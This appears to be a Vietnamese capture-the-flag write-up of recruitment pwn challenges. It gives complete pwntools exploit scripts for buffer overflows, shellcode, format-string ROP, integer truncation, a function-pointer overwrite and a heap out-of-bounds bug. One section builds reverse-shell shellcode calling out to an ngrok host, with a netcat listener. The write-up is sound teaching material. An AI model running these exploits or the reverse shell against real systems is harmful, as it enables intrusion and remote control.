# KCSC RECRUITMENT 9/2024 # pwn1 : Buffer overflow ## Analyze source: ```c #include<stdio.h> #include<stdlib.h> void init(){ setvbuf(stdin, 0LL, 2, 0LL); setvbuf(stdout, 0LL, 2, 0LL); setvbuf(stderr, 0LL, 2, 0LL); } void win(){ system("/bin/sh"); } int main() { init(); char a[0x100]; gets(a); } ``` checksec: ![image](https://hackmd.io/_uploads/SJ_fav8a0.png) - Bug ở đây là BOF do gets không check size đưa vào a ## Exploit - Bin cho hàm win + BOF + tắt canary -> ret2win Script: ```python #!/usr/bin/env python3 from pwn import * def s(p, data): p.send(data) def sl(p, data): p.sendline(data) def sla(p, msg, data): p.sendlineafter(msg, data) def sa(p, msg, data): p.sendafter(msg, data) def rl(p): return p.recvline() def ru(p, msg): return p.recvuntil(msg) def r(p, size): return p.recv(size) def intFromByte(p, size): o = p.recv(size)[::-1].hex() output = '0x' + o leak = int(output, 16) return leak def get_exe_base(pid): maps_file = f"/proc/{pid}/maps" exe_base = None with open(maps_file, 'r') as f: exe_base = int(f.readline().split('-')[0], 16) if exe_base is None: raise Exception("Executable base address not found.") return exe_base def GDB(p): base = get_exe_base(p.pid) gdb.attach(p, gdbscript=''' b*0x0000000000401228 c ''') input() def main(): context.binary = exe = ELF("./chal1", checksec=False) # libc = ELF("./", checksec=False) # ld = ELF("./", checksec=False) p = remote("157.15.86.73",8005) # p = process(exe.path) # GDB(p) pay = b'a'*264+p64(0x00000000004011F4)+p64(0x00000000004011DF) sl(p,pay) p.interactive() if __name__ == "__main__": main() ``` # pwn2 : write shellcode ## analyze ```c #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #include <sys/mman.h> #include <unistd.h> void init(){ setvbuf(stdin, 0LL, 2, 0LL); setvbuf(stdout, 0LL, 2, 0LL); setvbuf(stderr, 0LL, 2, 0LL); } int main() { init(); void (*code)(void) = mmap(0, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0); if (code == MAP_FAILED) { perror("mmap"); exit(1); } fgets((char*)code, 0x1000, stdin); size_t len = strlen((char*)code); for(int i = 0 ; i < len; i++) { if(((uint16_t*)code)[i] == 0x0f05) { exit(0); } } code(); } ``` - Workflow của bin: - mmap : creates a new mapping in the virtual address space of the calling process - 0 : kernel tự chọn địa chỉ phù hợp - 0x1000: size - PROT_READ | PROT_WRITE | PROT_EXEC : quyền read,write,execute - MAP_ANONYMOUS : tạo một vùng nhớ trống - MAP_PRIVATE : chỉ dùng trong process hiện tại - -1 : không cần nhận fd nào - 0 : offset - trả về mmap -> con trỏ hàm (*code) - fgets : nhập từ stdin -> code - check các bytes chống shellcode : nó sẽ duyệt 2bytes của shellcode -> xuất hiện 0x0f05=syscall -> exit - tuy nhiên ở đây lại dùng hàm strlen để lấy size ( hàm này chỉ đếm số byte trước NULL) -> fake size shellcode --> tìm lệnh asm nào có byte NULL thui - code() : execute shellcode ## exploit ```python #!/usr/bin/env python3 from pwn import * def s(p, data): p.send(data) def sl(p, data): p.sendline(data) def sla(p, msg, data): p.sendlineafter(msg, data) def sa(p, msg, data): p.sendafter(msg, data) def rl(p): return p.recvline() def ru(p, msg): return p.recvuntil(msg) def r(p, size): return p.recv(size) def intFromByte(p, size): o = p.recv(size)[::-1].hex() output = '0x' + o leak = int(output, 16) return leak def get_exe_base(pid): maps_file = f"/proc/{pid}/maps" exe_base = None with open(maps_file, 'r') as f: exe_base = int(f.readline().split('-')[0], 16) if exe_base is None: raise Exception("Executable base address not found.") return exe_base def GDB(p): base = get_exe_base(p.pid) gdb.attach(p, gdbscript=f''' b*{base} +0x00000000000012F1 c ''') input() def main(): context.binary = exe = ELF("./shellcode", checksec=False) # libc = ELF("./", checksec=False) # ld = ELF("./", checksec=False) # p = remote("157.15.86.73",8006) p = process(exe.path) # GDB(p) payload = ''' push 0x0 mov rax, 0x68732f6e69622f push rax push rsp pop rdi xor eax, eax push rax mov al, 59 push rsp pop rdx push rsp pop rsi syscall ''' payload = asm(payload) sl(p,payload) p.interactive() if __name__ == "__main__": main() ``` # pwn3 : shellcode + reverse shell ## analyze ```c #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #include <sys/mman.h> #include <unistd.h> void init(){ setvbuf(stdin, 0LL, 2, 0LL); setvbuf(stdout, 0LL, 2, 0LL); setvbuf(stderr, 0LL, 2, 0LL); } int main() { init(); void (*code)(void) = mmap(0, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0); if (code == MAP_FAILED) { perror("mmap"); exit(1); } fgets((char*)code, 0x1000, stdin); size_t len = strlen((char*)code); for(int i = 0 ; i < len; i++) { if(((uint16_t*)code)[i] == 0x0f05) { exit(0); } } close(0); close(1); close(2); code(); } ``` - Về cơ bản thì không khác gì pwn2 nhưng ở đây đã đóng các fd stdin, stdout, stderr -> chúng ta vẫn có thể lấy shell nhưng không thể đọc/ghi bất kì với shell này ![image](https://hackmd.io/_uploads/SyvK6dUTC.png) ## Tản mạn challenge - Trong quá trình diễn ra, mình với ý tưởng cố gắng mở lại các fd stdin stdout(từ dev/null, tty, ...) để hi vọng nó sẽ in ra cái gì đó. Tuy nhiên vẫn không được, có lúc nó lại in ra cái bytes rác mà mình không biết nó lấy từ đâu. - Sau khi nhận hint siêu khủng của author "reverse shell", thực ra sau khi cố gắng mở lại fd nhưng thất bại thì mình cũng đã thử reverse shell. - Mình cũng đã từng làm 1 task liên quan đến revershell (socket bằng asm x86) giúp mình của có 1 cái nhìn sơ bộ về nó tuy vậy bản thân vẫn chưa thực sự đào sâu và sử dụng nó đúng cách. - Sau gần 1 ngày tìm hiểu thì mình cũng hiểu hơn về cách tương tác với reverse shell, bind shell nhưng vẫn chưa thực sự thành tạo. Có lẽ nên tách nữa kiến thức về này ra 1 bài viết khác để có thể tập trung đi sâu hơn - Còn với write-up này có lẽ sẽ chỉ là cái nhìn tổng quan và ứng dụng nhỏ bằng việc solve challenge này. ## Exploit ![image](https://hackmd.io/_uploads/By4w4tIpR.png) - Chuẩn bị connect reverse shell : - Chuẩn bị ip public : https://ngrok.com/ -> đăng kí , authen các kiểu ... - cmd : `ngrok tcp 8080` ![image](https://hackmd.io/_uploads/B1iqHK8T0.png) - mở cổng nghe ở máy local : `nc -lnvp 8080` ![image](https://hackmd.io/_uploads/ByEtUY8pA.png) - Tương tác với reverse shell : (bản chất nó ngược lại với bind shell là nó là server connect tới ) nên ta cần thiết lập các syscall để server tương tác với reverse shell - `socket` : creates an endpoint for communication and returns a file descriptor that refers to that endpoint. - `connect` : system call connects the socket referred to by the file descriptor sockfd to the address specified by addr. - `dup2` : system call performs the same task as dup(), but instead of using the lowest-numbered unused file descriptor, it uses the file descriptor number specified in newfd. If the file descriptor newfd was previously open, it is silently closed before being reused. - `execve` : get shell - script : ```py #!/usr/bin/env python3 from pwn import * def s(p, data): p.send(data) def sl(p, data): p.sendline(data) def sla(p, msg, data): p.sendlineafter(msg, data) def sa(p, msg, data): p.sendafter(msg, data) def rl(p): return p.recvline() def ru(p, msg): return p.recvuntil(msg) def r(p, size): return p.recv(size) def intFromByte(p, size): o = p.recv(size)[::-1].hex() output = '0x' + o leak = int(output, 16) return leak def get_exe_base(pid): maps_file = f"/proc/{pid}/maps" exe_base = None with open(maps_file, 'r') as f: exe_base = int(f.readline().split('-')[0], 16) if exe_base is None: raise Exception("Executable base address not found.") return exe_base def GDB(p): base = get_exe_base(p.pid) gdb.attach(p, gdbscript=f''' b*{base}+0x000000000000134E c ''') input() def main(): context.binary = exe = ELF("./chall", checksec=False) p = process(exe.path) # p = remote("157.15.86.73", 8007) # GDB(p) host = '0.tcp.ap.ngrok.io' port = 10951 shellcode = "push 0x0" shellcode += shellcraft.amd64.linux.socket(network='ipv4', proto='tcp') shellcode += 'mov r12 ,rax' shellcode += shellcraft.amd64.linux.connect(host, port, network='ipv4') shellcode += shellcraft.amd64.linux.dup2('r12', 0) shellcode += shellcraft.amd64.linux.dup2('r12', 1) shellcode += shellcraft.amd64.linux.dup2('r12', 2) shellcode += shellcraft.open('/home/ctf/flag.txt') shellcode += shellcraft.amd64.linux.read('rax','r10',0x20) shellcode += shellcraft.amd64.linux.write(1, 'r10', 32) shellcode = asm(shellcode) sl(p, shellcode) p.interactive() if __name__ == "__main__": main() ``` ## References - https://viblo.asia/p/hieu-ro-ve-reverse-shells-LzD5ddE45jY - https://medium.com/@dhar.ishan04/here-is-all-you-need-to-know-about-file-descriptors-in-linux-d93f05166026 - https://www.geeksforgeeks.org/difference-between-bind-shell-and-reverse-shell/ - https://pwnable.tw/challenge/#16 # pwn4 : Format string + BOF + ROP ## analyze - source code : ```c #include <stdio.h> #include <stdlib.h> void init(){ setvbuf(stdin, 0LL, 2, 0LL); setvbuf(stdout, 0LL, 2, 0LL); setvbuf(stderr, 0LL, 2, 0LL); } int main() { init(); char a[0x50]; read(0,&a,0x1000); printf(a); } ``` - checksec: ![image](https://hackmd.io/_uploads/rJjmg5ITA.png) - bài này có bug fmt ở hàm `printf(a)` và BOF ở `read(0,&a,0x1000)` ## Exploit: - dùng fmt để leak libc - bof để thực hiện ROP : call system('/bin/sh\x00') sau khi leak được libc - Script ```python #!/usr/bin/env python3 from pwn import * def s(p, data): p.send(data) def sl(p, data): p.sendline(data) def sla(p, msg, data): p.sendlineafter(msg, data) def sa(p, msg, data): p.sendafter(msg, data) def rl(p): return p.recvline() def ru(p, msg): return p.recvuntil(msg) def r(p, size): return p.recv(size) def intFromByte(p, size): o = p.recv(size)[::-1].hex() output = '0x' + o leak = int(output, 16) return leak def get_exe_base(pid): maps_file = f"/proc/{pid}/maps" exe_base = None with open(maps_file, 'r') as f: exe_base = int(f.readline().split('-')[0], 16) if exe_base is None: raise Exception("Executable base address not found.") return exe_base def GDB(p): base = get_exe_base(p.pid) gdb.attach(p, gdbscript=''' b*0x0000000000401218 c ''') input() def main(): context.binary = exe = ELF("./chal", checksec=False) libc = ELF("./libc.so.6", checksec=False) # ld = ELF("./", checksec=False) p = remote("157.15.86.73",8008) # p = process(exe.path) # GDB(p) pay = b'%37$p|' pay =pay.ljust(88,b'a') pay += p64(0x00000000004011E0) s(p,pay) leak = int(ru(p,b'|').replace(b'|',b''),16) print(hex(leak)) libc.address = leak - 172683 print("libc base:",hex(libc.address)) system=libc.sym['system'] poprdi = 0x000000000010f75b+libc.address poprsi = 0x0000000000110a4d+libc.address binsh =0x1cb42f +libc.address ret = 0x0000000000401223 pay = b'A'*88 pay += flat( poprdi, binsh, poprsi, 0x00, ret, system ) s(p,pay) p.interactive() if __name__ == "__main__": main() ``` ## References - https://www.youtube.com/watch?v=cIuycF_GBME&list=PLEvZsp0uc3SFuVi6TtcahxqsEbV29lXAM # yud : BOF + lỗi ép kiểu ## analyze - yud.c - case 1 : ```c case 1: printf("Length: "); scanf("%d", &len); if((short)len >= 0x100) { puts("Invalid length"); break; } printf("Data: "); len = read(0, data, len); encode_func(data, encode, len); puts("Done!"); break; ``` -> cho nhập `len` rồi `read()` vào mảng data với len đó . Nhưng nhìn `(short)len` tự nhiên thấy có điềm -> len 4byte nhưng lại lấy 2 bytes cuối so sánh -> vẫn dùng len cho read -> BOF - Các hàm còn lại cũng không quan trong lắm. ## Exploit - tìm 1 số có 2 byte cuối < 0x100 để gây ra BOF - có hàm win -> ret2win - Script ```python #!/usr/bin/env python3 from pwn import * def s(p, data): p.send(data) def sl(p, data): p.sendline(data) def sla(p, msg, data): p.sendlineafter(msg, data) def sa(p, msg, data): p.sendafter(msg, data) def rl(p): return p.recvline() def ru(p, msg): return p.recvuntil(msg) def r(p, size): return p.recv(size) def intFromByte(p, size): o = p.recv(size)[::-1].hex() output = '0x' + o leak = int(output, 16) return leak def get_exe_base(pid): maps_file = f"/proc/{pid}/maps" exe_base = None with open(maps_file, 'r') as f: exe_base = int(f.readline().split('-')[0], 16) if exe_base is None: raise Exception("Executable base address not found.") return exe_base def GDB(p): base = get_exe_base(p.pid) gdb.attach(p, gdbscript=''' b*0x00000000004016CB c ''') input() def main(): context.binary = exe = ELF("./yud_patched", checksec=False) libc = ELF("./libc.so.6", checksec=False) # ld = ELF("./", checksec=False) p = remote("157.15.86.73",8004) # p = process(exe.path) # GDB(p) sla(p,b'>> ',b'1') sla(p,b'Length: ',b'16777455') payload = b'A'*280 +p64(0x00000000040156A) + p64(0x0000000000401555) sa(p,b'Data: ',payload) sla(p,b'>> ',b'3') p.interactive() if __name__ == "__main__": main() ``` # node_node_node : Buffer overflow ## analyze ```c typedef struct node { size_t id, n; char data[0x10]; void (*func_ptr)(char*); size_t link[0x10]; } node; node *nodes[0x10]; ``` - case 1 : ```c case 1: puts("Id: "); scanf("%llu", &id1); if(id1 < 0x10 && nodes[id1]) puts("Node exists"); else if(id1 >= 0x10) puts("Invalid id"); else { nodes[id1] = Create_Node(id1); nodes[id1]->func_ptr("Created"); } break; -------------------------------------------------------------------------------------- node* Create_Node(size_t id) { node *tmp = (node*)malloc(sizeof(node)); if(!tmp) return NULL; else { tmp->id = id; tmp->n = 0; tmp->func_ptr = &node_method; memset(tmp->data, 0, sizeof(tmp->data)); memset(tmp->link, -1, sizeof(tmp->link)); return tmp; } } -------------------------------------------------------------------------------------- void node_method(char words[]) { puts(words); } -------------------------------------------------------------------------------------- * case 1 có nhiệm vụ tạo ra 1 node mới (cấp giá trị cho các field của mỗi node) trả về cho mảng nodes tại id đã nhập. - Sau đó gọi tới con trỏ hàm ở field func_ptr (là 1 con trỏ hàm) với đối số "created". ``` - case 2 : ```c case 2: puts("Node 1: "); scanf("%llu", &id1); puts("Node 2:"); scanf("%llu", &id2); if(id1 < 0x10 && id2 < 0x10 && id1 != id2) Link_Node(id1, id2); else puts("Invalid"); break; -------------------------------------------------------------------------------------- void Link_Node(size_t src, size_t dest) { if(nodes[src] && nodes[dest]) { for(int i = 0; i < nodes[src]->n; i++) if(nodes[src]->link[i] == dest) exit(-1); node *src_node = nodes[src], *dest_node = nodes[dest]; src_node->link[src_node->n++] = dest; dest_node->link[dest_node->n++] = src; src_node->func_ptr("Done!"); } else { puts("Invalid"); } } -------------------------------------------------------------------------------------- case 2 sẽ link 2 node đã tạo lại với nhau bằng cách : - kiểm tra 2 node đã link trước đo chưa (duyệt 0->n (field chứa số node đã link với id1)) - tăng n -> gán link là id của node kia -> sau đó gọi con trỏ hàm tại id1 ``` case 3 : ```c case 3: puts("Read from: "); scanf("%llu", &id1); Read_Graph(id1); break; -------------------------------------------------------------------------------------- void Read_Graph(size_t start) { size_t is_visited[0x10] = {0}, n; node *node_list[0x10], *tmp; if(!nodes[start]) { puts("Not created node"); return; } node_list[0] = nodes[start]; n = 1; while(n) { tmp = node_list[0]; printf("Node: %llu\n", tmp->id); is_visited[tmp->id] = 1; tmp->func_ptr("Data: "); read(0, tmp->data + strlen(tmp->data), 0x10); tmp->func_ptr("Done!"); for(int i = 0; i < tmp->n; i++) { if(!is_visited[tmp->link[i]]) node_list[n++] = nodes[tmp->link[i]]; } //remove the first element in node_list for(int i = 0; i < n; i++) node_list[i] = node_list[i+1]; n--; } puts("Data saved"); } -------------------------------------------------------------------------------------- case 3 sẽ dùng duyệt từng id để nhập vào field data xuất phát từ id được nhập (thông qua thuật toán BFS) - Tuy nhiên có 1 bug ở đây là read(0, tmp->data + strlen(tmp->data), 0x10); -> cho phép nhập từ vị trí kết thúc chuỗi đã nhập trước đó -> BOF ``` ## exploit - ta thấy field func_ptr nằm dưới field data -> ở hàm link lại có khả năng gọi con trỏ hàm đã được tạo. - hàm win : cat flag -> overwrite field func_ptr ở 1 node đã tạo -> win -> link 2 node -> call win ![image](https://hackmd.io/_uploads/Hy9m0cIa0.png) - script ```py #!/usr/bin/env python3 from pwn import * def s(p, data): p.send(data) def sl(p, data): p.sendline(data) def sla(p, msg, data): p.sendlineafter(msg, data) def sa(p, msg, data): p.sendafter(msg, data) def rl(p): return p.recvline() def ru(p, msg): return p.recvuntil(msg) def r(p, size): return p.recv(size) def intFromByte(p, size): o = p.recv(size)[::-1].hex() output = '0x' + o leak = int(output, 16) return leak def get_exe_base(pid): maps_file = f"/proc/{pid}/maps" exe_base = None with open(maps_file, 'r') as f: exe_base = int(f.readline().split('-')[0], 16) if exe_base is None: raise Exception("Executable base address not found.") return exe_base def create(p,id): sla(p,b'>> \n',b'1') sla(p,b'Id: \n',str(id).encode()) def link(p,id1,id2): sla(p,b'>> \n',b'2') sla(p,b'Node 1: \n',str(id1).encode()) sla(p,b'Node 2: \n',str(id2).encode()) def save(p,id,data): sla(p,b'>> \n',b'3') sla(p,b'Read from: \n',str(id).encode()) sa(p,b'Data: \n',data) def GDB(p): base = get_exe_base(p.pid) gdb.attach(p, gdbscript=''' b*0x00000000004015B2 c ''') input() def main(): context.binary = exe = ELF("./chall_patched", checksec=False) libc = ELF("./libc.so.6", checksec=False) # ld = ELF("./", checksec=False) # p = remote("157.15.86.73",8003) p = process(exe.path) for i in range(3): create(p,i) payload = b'A'*12 save(p,0,payload) # GDB(p) payload = p32(0x00000000004016F0)*2 save(p,0,payload) link(p,0,1) p.interactive() if __name__ == "__main__": main() ``` # kalei : out of bound - Bug OOB tồn tại ở tất cả các hàm từ đó leak được khá dễ - rop thì overwrite return address của hàm read ```c #!/usr/bin/env python3 from pwn import * def s(p, data): p.send(data) def sl(p, data): p.sendline(data) def sla(p, msg, data): p.sendlineafter(msg, data) def sa(p, msg, data): p.sendafter(msg, data) def rl(p): return p.recvline() def ru(p, msg): return p.recvuntil(msg) def r(p, size): return p.recv(size) def intFromByte(p, size): o = p.recv(size)[::-1].hex() output = '0x' + o leak = int(output, 16) return leak def get_exe_base(pid): maps_file = f"/proc/{pid}/maps" exe_base = None with open(maps_file, 'r') as f: exe_base = int(f.readline().split('-')[0], 16) if exe_base is None: raise Exception("Executable base address not found.") return exe_base def create(p,idx,size,data): sla(p,b'>> ',b'1') sla(p,b'Index: ',str(idx).encode()) sla(p,b'Size: ',str(size).encode()) sa(p,b'Data: ',data) def show(p,idx): sla(p,b'>> ',b'2') sla(p,b'Index: ',str(idx).encode()) def delete(p,idx): sla(p,b'>> ',b'3') sla(p,b'Index: ',str(idx).encode()) def GDB(p): base = get_exe_base(p.pid) gdb.attach(p, gdbscript=''' b*0x555555554000+ 0x0000000000001473 c ''') input() def main(): context.binary = exe = ELF("./kalei", checksec=False) libc = ELF("./libc.so.6", checksec=False) p = process(exe.path) # p = remote("0",1337) # GDB(p) ################# data = 0x555555554000 + 0x0000000000004080 #0x555555558080 size = 0x555555554000 + 0x0000000000004100 #0x555555558100 ################# for i in range(16): create(p,i,0x10,b'A'*0x10) show(p,-4) ru(p,b'\x00\x00\x00\x00') libc_leak = intFromByte(p,6) print("libc leak:",hex(libc_leak)) ru(p,b'Create data') libc.address = libc_leak - 0x21b723 print("libc base:",hex(libc.address)) for i in range(8): delete(p,i) create(p,33,0x40,p64(libc.sym.environ)) create(p,0,0x10,b'A') create(p,0,0x10,b'A') show(p,0) ru(p,b'Your data: ') stack = intFromByte(p,6) print("stack:",hex(stack)) target = stack-0x189 print("target:",hex(target)) for i in range(8): create(p,i,0x40,b'A'*0x10) for i in range(8): delete(p,i) create(p,43,0x20,p64(target)) create(p,0,0x40,p64(target)) payload = flat( 0x000000000002a3e5+libc.address, #poprdi 0x1d8678+libc.address, # /bin/sh 0x000000000011f2e7+ libc.address,0,0, #pop rdx, pop r12 0x0000000000045eb0+libc.address,0x3b, # pop rax 0x0000000000118f32+libc.address # syscall ) create(p,0,0x40,payload) p.interactive() if __name__ == "__main__": main() ``` # pwn5